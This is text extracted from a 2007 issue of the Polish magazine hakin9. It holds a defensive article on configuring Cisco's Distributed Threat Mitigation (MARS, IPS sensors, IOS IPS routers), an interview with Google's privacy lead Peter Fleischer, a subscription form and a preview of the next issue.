• jak wygląda architektura DTM Cisco;
• jakie elementy powinieneś zastosować w sieci,

by rozwiązanie;

• spełniało swoje zadanie;
• czym system różni się od innych, prostszych

rozwiązań bezpieczeństwa;

• i kiedy uzupełnia inne systemy, w tym systemy

zarządzania i;

• monitoringu.

Powinieneś wiedzieć...

• w jaki sposób sieci IP przenoszą ruch;
• czym charakteryzują się poszczególne ele-

menty bezpieczeństwa;

• sieciowego - firewalle, systemy uwierzytelnia-

nia i monitoringu;

• przyda się podstawowa znajomość systemu

Cisco IOS.

Rozwiązania DTM (Distributed Threat Mitigation)

hakin9 Nr 1/2007

www.hakin9.org

71

Unikalnym przykładem takiego sys-
temu jest Cisco MARS, o którym
szerzej w dalszej części artykułu.

Kolejny element systemu to de-

dykowane urządzenia pozwalają-
ce na aktywne zapobieganie ata-
kom sieciowym – czyli sensory IPS.
Systemy te z uwagi na swoją budo-
wę, działanie i ilość informacji które
analizują w trakcie normalnej pracy,
stają się doskonałym narzędziem do
szybkiego powstrzymywania dowol-
nego zagrożenia sieciowego – sta-
nowią bazę wiedzy na temat zagro-
żeń, dużo dokładniejszą niż dowolne
filtry ruchowe dostępne na routerach
czy w systemach firewall.

Ostatni element systemu to

urządzenia, które w ramach działa-
nia systemu DTM będą pod kontro-
lą systemu zarządzania – tj. w cza-
sie rzeczywistym będą mogły zo-
stać wyposażone w kryteria opisują-
ce ruch, który został zidentyfikowa-
ny jako wrogi i który należy zatrzy-
mać. W architekturze Cisco DTM ro-
lę takich urządzeń pełnią routery Ci-
sco ISR wyposażone w oprogramo-
wanie z systemem IPS.

Jak działa DTM?

Rozwiązanie DTM zostanie opisa-
ne na przykładzie rozwiązania Ci-
sco DTM.

Elementem centralnym jest sys-

tem Cisco MARS, który na podsta-
wie informacji spływających do nie-
go z całej sieci identyfikuje wspólnie
z systemami IPS konkretne zagroże-
nia czy niepożądane wzorce rucho-
we. Połączenie możliwości identyfi-
kacji i korelacji zdarzeń przez system
MARS, z możliwościami wykrywania
i klasyfikacji zagrożeń systemów Ci-
sco IPS daje administratorowi bez-
pieczeństwa wygodne i co najważ-
niejsze – sprawnie działające narzę-

Rysunek 1.

Menu systemu MARS

Rysunek 2.

Ekran konfiguracji urządzeń

Rysunek 3.

Pusta lista urządzeń zarządzanych

Jak widać, sam pomysł zautoma-

tyzowania pewnej sekwencji czyn-
ności nie jest nowy – dotychczaso-
we systemy tego typu działały na po-
dobnej zasadzie, ale brakowało im
szybkości, dokładności (opierały się
o konfigurowalne filtry pakietów w ro-
uterach i przełącznikach oraz reguły
ścian ogniowych, które z natury rze-
czy ograniczone są do informacji z
warstw 3-4 modelu ISO i pewnych
wybranych zagadnień normalizacyj-
nych dla poszczególnych protoko-
łów działających w warstwach wyż-
szych) oraz architektury zapewniają-
cej odpowiedni poziom bezpieczeń-
stwa (rekonfiguracja urządzeń odby-
wa się zwykle przez SNMP lub Tel-
net) i zintegrowanego raportowania
w czasie rzeczywistym.

Architektura DTM

Każdy system bezpieczeństwa, aby
móc efektywnie spełniać swoje za-
danie, powinien oprócz mechani-
zmów wykrywających i decyzyjnych,
komunikować się z administratorem.
Pierwszym składnikiem architektu-
ry DTM jest jak zawsze – system po-
zwalający na efektywne zarządzanie
całością rozwiązania.

Następny element, to rozwiąza-

nie pozwalające korelować ze sobą
informacje – serce architektury DTM.
Systemy monitorujące tego typu sta-
ją się coraz bardziej popularne, z
uwagi na fakt, że nawet pojedyn-
cze urządzenia sieciowe są w sta-
nie generować wiele różnego rodza-
ju informacji o swojej pracy – od ty-
powo utrzymaniowych (przepełnio-
ne interfejsy, krytyczny poziom pa-
mięci operacyjnej, zbyt duże obcią-
żenie procesorów sieciowych), przez
wszelkie związane z ich specyficzną
funkcjonalnością (np. trafienie pakie-
tu w listy kontroli dostępu, przekro-
czenie konkretnej wartości sesji dla
ścian ogniowych śledzących połą-
czenia, czy również gwałtowny skok
w ilości obsługiwanych połączeń gło-
sowych, utrata dostępu do zasobów
plikowych). Oczywiście w zależno-
ści od stopnia integracji oferowanej
przed producenta, systemy te waha-
ją się od bardzo płytko analizujące
docierające do nich informacje (lub
wymagające do skutecznej pracy
dużą ilość pracy integratorskiej, aby
dostosować ich bazę wiedzy do po-
siadanej infrastruktury) po zintegro-
wane z konkretnymi rozwiązaniami.

hakin9 Nr 1/2007

www.hakin9.org

Obrona

72

dzie do powstrzymania ataku w całej
zarządzanej przez niego sieci.

W momencie wykrycia zagroże-

nia przez system Cisco IPS, system
Cisco MARS informowany jest na
bieżąco o konkretnym typie i wszel-
kich identyfikowanych cechach tego
zagrożenia (adresy sieciowe, proto-
kół, cechy specyficzne dla protokołu
itd.). System MARS może w tym mo-
mencie wyzwolić jedną z własnych
reguł dotyczących obsługi tego typu
zdarzenia, w tym zapewnić automa-
tyczną dystrybucję opisu ataku (sy-
gnaturę) na zarządzane systemy IPS
– czyli routery (w tym konkretną gru-
pę routerów) z systemem IPS.

Oczywiście system osiąga naj-

większą skuteczność w sytuacji, gdy
pierwotny system IPS wykrywają-
cy atak posiada bogatą bazę sygna-
tur i anomalii – stąd zalecenie wyko-
rzystania dedykowanych sond Cisco
IPS (dedykowane urządzenia lub
karta do przełącznika Cisco Catalyst
6500), ale możliwe jest również wy-
korzystanie jako źródła informacji dla
systemu MARS routera Cisco ISR z
odpowiednio bogatym zestawem de-
finicji sygnatur.

Wraz z informacją o postaci za-

grożenia wysyłaną do routerów wy-
syłana jest również informacja o ak-
cji skojarzonej z wykryciem tego ty-
pu ruchu – może ona ograniczyć się
do alarmu, oraz do akcji bardziej ty-
powych – odrzucenia pakietu pasu-
jącego do sygnatury lub zresetowa-
niu połączenia, w którym potencjal-
nie szkodliwa zawartość została wy-
kryta.

Taka współpraca pomiędzy sen-

sorami IPS, systemem zarządzania
oraz routerami z systemem Cisco
IOS IPS możliwa jest dzięki dwóm
wspólnym mechanizmom – uniwer-
salnemu językowi opisywania sygna-
tury (Cisco SDF – Signature Defini-

tion File) oraz protokołowi transpor-
towemu (SDEE – Security Device

Event Exchange).

Przykład instalacji

rozwiązania – Cisco DTM

W tej części artykułu opiszemy przy-
kładową instalację systemu w oparciu
o pojedyncze elementy rozwiązania.

Rysunek 6.

Konfiguracja parametrów dostępowych do routera

Rysunek 7.

Dane dostępowe do IPS w routerze

Rysunek 4.

Wybór urządzenia – router Cisco

Rysunek 5.

Dodanie podsystemu IPS do routera

hakin9 Nr 1/2007

www.hakin9.org

Obrona

74

Konfiguracja routera

z funkcjonalnością Cisco

IOS IPS

Funkcjonalność obsługiwana jest na
routerach serii Cisco ISR 871, 1760,
1841, 2600, 3745, 3800, 7200, 7301
i 7401 z oprogramowaniem wspiera-
jącym mechanizmy bezpieczeństwa
oraz w wersji minimum 12.4(4)T. Na
routerze należy skonfigurować ob-
sługę protokołu HTTPS (SDEE wy-
korzystuje SSL jako protokół trans-
portowy) oraz SSH (MARS użyje po-
łączenia SSH do wywołania rekonfi-
guracji podsystemu IPS), a następ-
nie aktywować podsystem IPS.

Lokalne uwierzytelnianie połą-

czeń do routera z systemu MARS
(można oczywiście skorzystać z
uwierzytelniania w oparciu o system
TACACS+):

router(config)# username
login-dla-systemu-mars privilege 15
secret haslo-dla-marsa

Włączenie serwera HTTPS i usta-
wienie uwierzytelniania połączeń do
niego w oparciu o lokalną bazę użyt-
kowników.

router(config)# ip http secure-server
router(config)# ip http authentication
local

(oczywiście dostęp do serwera
HTTPS można następnie ograni-
czyć dodatkowo np. tylko do adre-
su IP systemu MARS, a także zasto-
sować inne mechanizmy chroniące
pracę routera, jest to jednak zagad-
nienie na osobny artykuł).

Następnie należy aktywować

funkcjonalność Cisco IOS IPS. Ro-
utery z oprogramowaniem zawiera-
jącym podsystemy bezpieczeństwa
dostarczane są z domyślnym zesta-
wem sygnatur zawartym w pliku at-
tack-drop.sdf, zapisanym na pamięci
flash. Jest to zestaw wyjściowy, któ-
ry w trakcie pracy urządzenia może
zostać wzbogacony o inne sygnatury
dosłane przez system MARS:

router(config)# ip ips notify sdee
router(config)# no ip ips notify log

Rysunek 10.

Tworzenie reguł dla Cisco DTM w CS-MARS

Rysunek 11.

Dodajemy regułę

Rysunek 8.

Konfiguracja sondy IPS serii 4200 w CS-MARS

Rysunek 9.

Opcje konfiguracji sond IPS w MARS

Rozwiązania DTM (Distributed Threat Mitigation)

hakin9 Nr 1/2007

www.hakin9.org

75

router(config)# ip sdee subscriptions 3
router(config)# ip sdee alerts 2000
router(config)# ip ips sdf location
flash:attack-drop.sdf autosave
router(config)# ip ips name Hackin9_IPS

Konfigurację routera wieńczy włą-
czenie podsystemu IPS na wybra-
nych interfejsach – w naszym przy-
padku jest to zewnętrzny interfejs Gi-

gabitEthernet 0/0 routera:

router(config)# interface
gigabitethernet 0/0
router(config-if)# ip ips Hackin9_IPS in

Konfiguracja

dedykowanego systemu

Cisco IPS 5.x

Tak jak wspomniano wcześniej sonda
Cisco IPS zawierać będzie bibliotekę
ataków i z uwagi na to zaleca się, by
było to urządzenie dedykowane– do-
stępne w ramach serii sond Cisco IPS
4200 lub w postaci karty do Cisco Ca-
talyst 6500. Możliwe jest również za-
stosowanie w tej roli routera z funkcjo-
nalnością Cisco IOS IPS, ale z uwa-
gi na mniejszą ilość sygnatur nawet
w największym zestawie (w momen-
cie pisania tego artykułu jest to około
600 w porównaniu do ponad 2000 w
systemach dedykowanych) nie jest to
rozwiązanie optymalne.

Jedyna konfiguracja wymagana

na urządzeniu pracującym jako źró-
dło informacji dla systemu MARS jest
dodanie jego adresu IP do listy klien-
tów dla protokołu SDEE – w tej kon-
figuracji MARS będąc klientem po-
łączy się do sondy (serwera SDEE)
i pobierze potrzebne informacje na
podstawie otrzymanych logów.

Konfiguracja systemu

Cisco MARS

Konfiguracja systemu MARS skła-
dać się będzie z dodania dedykowa-
nych systemów IPS, wskazania któ-
re routery (grupa) może zostać prze-
konfigurowana w ramach architek-
tury DTM, oraz dostosowania reguł
wyzwolenia akcji w ramach DTM.

Aby dodać routery, po zalogowa-

niu się do konsoli należy z menu Ad-

min wybrać opcję Security and Moni-

tor Devices.

Rysunek 15.

Konfiguracja akcji – wybieramy DTM

Rysunek 12.

Opisujemy regułę

Rysunek 13.

Określamy kryteria wystąpienia

Rysunek 14.

Określamy sondy które mogoą powodować wyzwolenie alarmu

Następnie kliknąć Add: wybrać

odpowiedni rodzaj urządzenia (w
naszym przypadku Cisco IOS 12.x)
(Rysunek 4).

A następnie wypełnić pola po-

zwalające systemowi MARS otrzy-

mać połączenie do routera: kolej-
ny krok to dodanie funkcjonalno-
ści IPS (Add IPS) do tak zdefinio-
wanego routera ze wskazaniem lo-
ginu i hasła dla połączenia protoko-
łem SDEE:

hakin9 Nr 1/2007

www.hakin9.org

Obrona

76

Dodanie systemów IPS pełnią-

cych funkcje raportujące i biblio-
teczne dla systemu MARS nastę-
puje analogicznie – wybieramy od-
powiedni typ urządzenia (w naszym
przypadku sonda Cisco IPS 5.x se-
rii 4200): oraz wskazujemy dane po-
zwalające kontaktować się z sondą:

Przeprowadzony powyżej pro-

ces można oczywiście zautomaty-
zować – posługując się na przykład
plikiem seed z systemu CiscoWorks,

pozwalającego automatycznie wczy-
tać wiele urządzeń bez żmudnego
przepisywania danych.

Konfiguracja systemu

Cisco MARS –

podsystem DTM

Po skonfigurowaniu urządzeń uczest-
niczących w systemie DTM, należy
zdefiniować co konkretnie ma dziać
się w ramach tej funkcjonalności dla
wybranego zakresu sieci, protokołów

Rysunek 17.

Wskazanie które routery mają otrzymać uaktualnienia

Rysunek 18.

Zdefiniowana reguła

(istnieją też inne kryteria na podsta-
wie których można podjąć takie a nie
inne decyzje).

Z menu Rules należy wybrać

CS-MARS Distributed Threat Mitiga-

tion (Cisco DTM) (Rysunek 10) klik-
nąć przycisk Add: opisać tą konkret-
ną regułę (oprócz nazwy możliwe
jest również umieszczenie dłuższe-
go komentarza): po kliknięciu Next
przechodzimy do zdefiniowania kry-
teriów działania reguły – w systemie
MARS poszczególne zdarzenia zgła-
szane przez urządzenia (np. wyko-
nanie NAT na pakiecie, zablokowa-
nie pakietu, itp.) są łączone i korelo-
wane, by następnie zostać przejrza-
ne przez reguły (pozwalające powią-
zać ze zdarzeniem akcję). W naszym
przypadku kryterium jest bardzo sze-
rokie – ruch może mieć dowolny adres
źródłowy, docelowy oraz rodzaj usługi
(Rysunek 13).

Jako Device należy wybrać dedyko-

wane sondy IPS, służy do tego odpo-
wiednie okno wyboru zdefiniowanych
wcześniej urządzeń (Rysunek 14).

Po dokończeniu definicji kry-

teriów (można dodatkowo określić
słowa kluczowe które muszą wy-
stąpić w zgłaszanym przez sondę

Rysunek 16.

Wybór akcji do wyzwolenia – tylko alarm

alarmie, poziom alarmu oraz ilość wystąpień danego
zdarzenia by MARS zareagował a także pory dnia i
nocy w których nadejście danego alarmu ma być bra-
ne pod uwagę przez system) z menu akcji wybiera-
my DTM (Rysunek 15) a następnie rodzaj akcji (alarm,
alarm+odrzucenie pakietów lub alarm+zresetowanie
połączenia) (Rysunek 16) i adresatów akcji – routery
z podsystemem IPS: następnie wracamy do główne-
go menu i z listy reguł zdefiniowanych przez użytkow-
nika wybieramy właśnie dodaną – należy ją jeszcze
aktywować (przez zaznaczenie przy nazwie regu-
ły ikonki v oraz kliknięcie przycisku ‘Activate’ w pra-
wym górnym rogu) po aktywowaniu reguł w systemie
MARS wystarczy poczekać na alarmy napływające
z sensorów IPS. Na podstawie zdefiniowanych reguł
MARS podejmie decyzje o rozpowszechnieniu i akty-
wowaniu odpowiednich sygnatur na routerach z pod-
systemem Cisco IOS IPS.

Poniżej przykład logu, w którym system MARS wy-

krył atak i dokonfigurował do routera pod adresem
192.168.247.196 trzy sygnatury – o identyfikatorach 1107,
2000 i 2004.

Podsumowanie

Architektura DTM, pozwalająca wzbogacić istnieją-
ce systemy bezpieczeństwa sieciowego o automa-
tyczną, realizowaną w czasie rzeczywistym rekon-
figurację pod kątem wykrywanych ataków stano-
wi ważny krok na drodze quasi-inteligentnych sys-
temów bezpieczeństwa, działających dużo dokład-
niej niż dostępne obecnie (i dające się policzyć na
palcach jednej ręki) systemy rekonfiguracji urządzeń
pozwalających na filtrowanie pakietów. Oczywiście,
należy spodziewać się rozszerzenia domeny zarów-
no urządzeń i oprogramowania raportującego (nieba-
wem jednym z nich będzie oprogramowanie na sta-
cje robocze i serwery Cisco Secure Agent, pełniące
role zaawansowanego systemu HIPS) jak i pozwala-
jącego na zatrzymywanie lub ograniczanie skutków
ataków (systemy firewall i VPN oraz zaawansowa-
ne przełączniki). W dobie sieci generujących setki,
tysiące i miliony zdarzeń w ciągu sekundy, nie mamy
już bowiem odwrotu – maszyny muszą zacząć wal-
czyć z maszynami. l

W Sieci:

• Cisco Security MARS: http://www.cisco.com/go/mars;
• Cisco IPS 5.x w urządzeniach serii 4200: http://www.

cisco.com/go/ips;

• Cisco IOS IPS: http://www.cisco.com/go/iosips;
• Przewodnik konfiguracji rozwiązania DTM: http://www.

cisco.com/en/US/products/ps6241/products_configura-
tion_example09186a008067a2b0.shtml.

www.hakin9.org

www.hakin9.org

hakin9 Nr 1/2007

78

Wywiad

Peter Fleischer

utrzymuje stały kontakt z oso-

bami mającymi wpływ na ochronę prywatno-
ści Internautów w Europie, by zagwarantować,
że Google będzie reagować na europejskie
oczekiwania na tym polu. Peter ma 10 – letnie
doświadczenie w dziedzinie ochrony danych.
Wcześniej pracował w firmie Microsoft jako
kierownik ds. prywatności w Europie i dyrektor
ds. regulacji ustawowych. Peter kształcił się w
USA (Harvard College i Harvard Law School)
i w Niemczech (LMU – Monachium). Przez
ostatnie dziesięć lat pracował w Paryżu.

hakin9:

Bezpieczeństwo danych w sie-

ci jest obecnie bardzo gorącym tematem.
Jakie działania podejmuje Google, by zapew-
nić swoim użytkownikom bezpieczeństwo ich
danych w sieci?

PF:

Nasze produkty, od początku swego ist-

nienia, mają wbudowane mechanizmy ochrony
prywatności, żaden z nich również nie wykorzy-
stuje danych personalnych użytkowników bez
ich zgody. Zawsze też prosimy użytkowników by
potwierdzili chęć korzystania z serwisów wyma-
gających ujawnienia poufnych danych.

Nasze zasady prywatności piszemy pro-

stym językiem, unikamy prawniczego żargo-
nu. Kiedy nie zachodzi potrzeba, nie wymaga-
my od użytkowników aby podawali nam swoje
dane. Z większości naszych serwisów można
korzystać anonimowo.

h9:

Nawiązując do prostoty językowej: czy

byłby Pan w stanie opisać nam zasady bez-
pieczeństwa prywatności w dosłownie kilku

punktach? Tak, aby każdy mógł w przejrzy-
sty sposób zapoznać się z nimi i zrozumieć,
bez potrzeby wdrażania się w zawiłości języ-
ka prawniczego.

PF:

Tak, oczywiście. Po pierwsze nasze

powiadomienia są proste i czytelne. Projek-
tujemy produkty, które jasno informują użyt-
kowników, jaki maja wpływ na ich prywatność
i zawsze, gdy jest to możliwe, pozostawiają
wybór. Przykładem może być Google Toolbar,
w którym unikamy prawniczego żargonu; w in-
terfejsie zachowany jest też styl Google. Naj-
ważniejsza w przechowywaniu danych jest
dla nas przejrzystość. Projektujemy produkty,
które jasno informują użytkowników, jaki mają
wpływ na ich prywatność i zawsze, gdy jest to
możliwe, pozostawiają wybór.

Równie istotnym jest, by zasady prywatno-

ści były łatwe do czytania. Jest to proste, jed-
nostronicowe podsumowanie najważniejszych
informacji o prywatności, z odnośnikami do
kompletnych zasad prywatności i informacji
o poszczególnych produktach. „Warstwowa”
architektura tekstu jest czytelna i zrozumiała.

Staramy również upewnić się, że partne-

rzy, z którymi współpracujemy także prze-
strzegają zasad prywatności. Tak jest w przy-
padku Google Analytics, oferującemu serwi-
som WWW szczegółowe, anonimowe rapor-
ty statystyczne, dotyczące interakcji odwie-
dzających z tymi serwisami. Google wymaga,
aby zewnętrzni użytkownicy oprogramowania
Analytics publikowali zasady prywatności i in-

Wywiad z Peterem

Fleischerem

Peter Fleischer, kieruje pracami Google w zakresie ochory

prywatności w regionie EMEA (obszar Europy, Bliskiego Wschodu

i Afryki). Jego zadaniem jest dopilnownie, by firma Google chroniła

prywatność użytkowników swoich produktów, wywiązywała się

ze wszelkich zobowiązań prawnych i systematycznie podnosiła

standardy ochrony prywatności w Internecie.

Wywiad

hakin9 Nr 1/2007

www.hakin9.org

79

formowali swoich użytkowników o tym, że serwis wyko-
rzystuje Cookiem, który gromadzi anonimowe dane.

h9:

Widzę, że Google kładzie duży nacisk, aby na

każdym kroku wyjaśnić, co się dzieje z prywatnymi dany-
mi użytkowników. Czy w związku z tym użytkownicy chęt-
niej sięgają po serwisy Google?

PF:

Wyjaśniamy szczegółowo jak działa innowacyj-

ny serwis, co przynosi bardzo dobre efekty. Przykładem
może być Gmail – darmowy serwis poczty elektronicznej,
utrzymywany z „kontekstowych reklam”, bazujących na sło-
wach w e-mailach. Wystąpiły pewne wątpliwości dotyczą-
ce prywatności podczas premiery – zadawano pytania, czy
Google czyta e-maile, aby wyświetlać reklamy? Te wątpli-
wości zniknęły, gdy użytkownicy zapoznali się z działaniem
Gmail: e-maile są czytane przez automatyczne oprogramo-
wanie, nie przez ludzi. Działa na zasadzie reklam dostoso-
wanych do grupy targetowej, które pojawiają się gdy korzy-
stamy z wyszukiwarki Google. Jest podobny do oprogramo-
wania skanującego wirusy oraz spam. Poza tym, reklamy
są dynamiczne i w czasie rzeczywistym, nie są tworzone
stałe zapisy i profile. Wierzymy, że nasi użytkownicy wolą
widzieć interesujące dla nich reklamy, zamiast losowo poja-
wiające się reklamówki.

h9:

Rozumiem, że prawo chroni dane osobowe. Ale

co zrobić w przypadku, gdy rząd danego państwa wyda-
je polecenie monitorowania danych?

PF:

Google sprzeciwia się nadmiernym żądaniom do-

stępu do danych ze strony rządu. Przytoczę przypadek, gdy
amerykański Departament Sprawiedliwości zaangażował
się w proces dotyczący konstytucjonaliści amerykańskiej
ustawy z 1998r. o ochronie dzieci w Internecie. Celem było
określenie, czy filtry programowe byłyby skuteczne w reali-
zowaniu założeń prawa, bez ograniczania swobody wypo-
wiedzi. Departament Sprawiedliwości wysłał wezwanie do
Google, a także do AOL, Yahoo, MSN i wielu innych firm.
Od Google żądał przekazania miliardów adresów URL i mi-
lionów zapytań do wyszukiwarki. Google zdecydował się na
spór w sądzie, aby sprzeciwić się temu wezwaniu. W uza-
sadnieniu Google podał, że wezwanie było przesadne, bez
znaczenia dla sprawy, naruszało prywatność użytkowników
i zagrażało własności firmy. Sędzia Ware orzekł werdykt na
korzyść Google (nakazując przedstawienie 5000 adresów
URL żadnych zapytań). Jest to ważny precedens prawny
w walce o zrównoważenie rządowego dostępu do informa-
cji z oczekiwaniami użytkowników w zakresie prywatności.

Zanim wdrożymy nową usługę (np. Google Image

Search lub Google Earth) upewniamy się, że jest ona stu-
procentowo bezpieczna dla użytkowników. Nie możemy
sobie pozwolić, by wydać cokolwiek, co mogłoby powo-
dować niebezpieczeństwo dla prywatności. Pracujemy też
nad zachowaniem prywatności w Web 2.0. Komputery-
zacja zdąża w kierunku modelu usługowego, gdzie użyt-
kownicy coraz częściej decydują się na przechowywanie
swoich Nawych i uruchamianie aplikacji online, takich jak
poczta przez WWW, dokumenty, kalendarze, czaty, blogi
itd. Przykładowe usługi, które przechowują dane użytkow-
ników centralnie, ale mają dostęp z każdego miejsca to:

• Poczta przez WWW (MSN Hotmail, Yahoo Mail,

Gmail, Web. De FreeMail);

• Przechowywanie plików online (Yahoo Brief Case,

Microsoft FolderShare, AOL Xdrive);

• Kopie zapasowe online – automatycznie pobierają pli-

ki z prywatnego komputera i tworzą kopie zapasowe
na scentralizowanych serwerach.

Logowanie z dowolnego komputera, telefonu komórkowe-
go lub urządzenia podłączonego do Internetu, dające na-
tychmiastowy dostęp do wszystkich aplikacji i danych, z
możliwością ich przeszukania, co jest bardzo cenne dla
użytkowników. Funkcja SAC, czyli wyszukiwanie między
komputerami) w Google Desktop to mały przykład duże-
go trendu.

h9:

Jakie działania podejmuje Google, aby zapewnić

komfort klientom, którzy zdecydowali się przenieść dane
ze swojego komputera na wasz serwer?

PF:

Ostrzeżenia,że pliki zostaną przeniesione do ser-

werów Google Desktop są bardzo czytelne. Użytkowni-
cy mogą precyzyjnie określić, które dane chcą udostęp-
nić, a których nie chcą udostępniać. Umieściliśmy rów-
nież przycisk, za pomocą którego można łatwo skasować
wszystkie własne pliki z serwerów Google Desktop.

h9:

W Stanach Zjednoczonych dane w komputerze

PC użytkownika w jago domu są silnie chronione przez
czwartą poprawkę do Konstytucji. Aby je udostępnić, nie-
zbędny jest sądowy nakaz przeszukania. Jednak dane
na serwerach korporacyjnych mają tę ochronę dużo słab-
szą – jest ona zapewniana przez ustawę o prywatności
komunikacji elektronicznej. Stawia ona dużo niższe wy-
mogi, gdy chodzi o rządowy dostęp do danych określone-
go typu – w tym przypadku wystarczy jedynie wezwanie.
Przepisy na świecie nie zapewniają takiego samego po-
ziomu ochrony. Co zrobić, aby zmienić ten stan rzeczy?

PF:

Google uważa, że dane użytkowników powinny

podlegać takiej samej ochronie prywatności, niezależnie
od tego, czy są przechowywane na ich własnych kompute-
rach, czy na serwerach stron trzecich. Aby usunąć przyto-
czoną anomalię prawną, Google wspiera stworzenie fede-
ralnej ustawy o prywatności konsumentów i zaktualizowa-
nie ustawy o prywatności komunikacji elektronicznej.

W Unii Europejskiej kwestie ochrony danych w trzecim

filarze regulacji wzbudzają poważny niepokój. Przepisy
o przechowywaniu danych (Europa, USA, inne części
świata) podniosą stawkę. Usługi Web 2.0 zwiększa gwał-
townie liczbę danych na serwerach, wymagane będzie ich
utrzymanie, a rządy i służby odpowiedzialne za egzekwo-
wanie prawa będą chciały mieć do nich dostęp. Google
już spotkał się w sądzie z Amerykańskim Departamentem
Sprawiedliwości w sprawie gigantycznego przekazania
danych. Google chce pracować ze wszystkim zaintereso-
wanymi stronami, aby zagwarantować, że zasady ochrony
danych będą szanowane w świecie Web 2.0: To nasz biz-
nes i nasze wartości. l

Rozmawiała: Marta Ogonek

Zaprenumeruj swoje ulubione magazyny

i zamów archiwalne numery!

Już teraz w kilka minut możesz zaprenumerować swoje ulubione pismo.
Gwarantujemy:

- preferencyjne ceny
- bezpieczną płatność on-line
- szybką realizację Twojego zamówienia
Bezpieczna prenumerata on-line wszystkich tytułów Wydawnictwa Software!

www.buyitpress.com

zamówienie prenumeraty

Prosimy wypełnić czytelnie i przesłać faksem na numer:

(22) 887 10 11 lub listownie na adres: Software-Wydawnictwo Sp. z o.o.,

Bokserska 1, 02-682 Warszawa, e-mail: [e-mail]. Przyjmujemy też zamówienia telefoniczne:

(22) 887 14 44

Imię i nazwisko............................................................................................ ID kontrahenta..........................................................................................

Nazwa firmy................................................................................................. Numer NIP firmy.......................................................................................

Dokładny adres....................................................................................................................................................................................................................

Telefon (wraz z numerem kierunkowym)................................................... Faks (wraz z numerem kierunkowym) ....................................................

E-mail (niezbędny do wysłania faktury)............................................................................................................................................................................

zamówienie prenumeraty

1

Cena prenumeraty rocznej dla osób prywatnych

2

Cena prenumeraty rocznej dla osób prenumerujących już Software Developer’s Journal lub Linux+

3

Cena prenumeraty dwuletniej Aurox Linux

Jeżeli chcesz zapłacić kartą kredytową, wejdź na

stronę naszego sklepu internetowego:

www.buyitpress.com

automatyczne przedłużenie prenumeraty

Suma

Tytuł

Ilość

numerów

Ilość

zamawianych

prenumerat

Od numeru

pisma lub

miesiąca

Opłata

w zł

z VAT

Software Developer’s Journal (1 płyta CD)

– dawniej Software 2.0

Miesięcznik profesjonalnych programistów

12

250/180

1

SDJ Extra

(od 1 do 4 płyt CD lub DVD)

– dawniej Software 2.0 Extra!

Numery tematyczne dla programistów

6

150/135

2

Linux+DVD (2 płyty DVD)

Miesięcznik o systemie Linux

12

199/179

1

Linux+Extra! (od 1 do 7 płyt CD lub DVD)

Numery specjalne z najpopularniejszymi dystrybucjami Linuksa

8

232/198

2

PHP Solutions (1 płyta CD)

Dwumiesięcznik o zastosowaniach języka PHP

6

135

Hakin9, jak się obronić (1 płyta CD)

Miesięcznik o bezpieczeństwie i hakingu

12

199

1

/219

.psd (1 płyta CD + film instruktażowy)

Dwumiesięcznik użytkowników programu Adobe Photoshop

6

140

.psd numery specjalne

(.psd Extra + .psd Starter Kit)

6

140

Aurox Linux (4 płyty CD + 1 płyta DVD)

Magazyn z najpopularniejszym polskim Linuksem

4

119

3

Aktualne informacje o najbliższym numerze

http://www.hakin9.org/pl
Numer w sprzedaży w połowie stycznia 2007 r.

Redakcja zastrzega sobie prawo zmiany zawartości pisma.

hakin9

2/2007

w następnym numerze

między innymi:

Zapowiedzi

StMichael – protektor integralności

Linux Kernel

Wiele zabezpieczeń Linuksa nie chroni bezpośrednio jądra co umożliwia zło-
śliwym programom, działającym tak jak np.: robak win32 na wślizgnięcie się
do systemu. StMichael może chronić jądro przeciwko rootkitom np.: przez
monitorowanie licznych fragmentów jądra. Rodrigo Rubira Branco przedsta-
wi jak korzystać z StMichaela i w jaki sposób chroni on nasz system.

Bezpieczne programowanie

serwerów sieciowych

System oprogramowania trapdoor2 jest przykładem na opisanie technik pro-
gramistycznych jako ochrony przed atakami przy użyciu języka C. Andre-
as Krennmair opisze system oprogramowania do bezpiecznego wywoływa-
nia niezdefiniowanych komend ponad siecią używając metody autentykacji i
środka bezpieczeństwa warstwy transportowej.

Techniki maskowania obecności w GNU/Linux

W artykule omówimy przechwytywanie wywołań otwarcia jakiegoś pliku,
sprawdzenie jego nazwy oraz opiszemy co się dzieje w przypadku jeśli
nazwa zgadza się z jakąś wymyśloną wcześniej. Artykuł przedstawia pod-
stawowe techniki maskowania użytkownika w systemie

Obrona

Na CD:

• hakin9.live - butowalna dystrybucja Linuksa;
• 26 tutoriali w tym jeden nowy – praktyczne ćwiczenia zagadnień

poruszanych w artykułach;

• specjalne wersje komercyjnych programów;
• e-books – książki elektroniczne;
• kurs na certyfikat Cisco CCNA.

Atak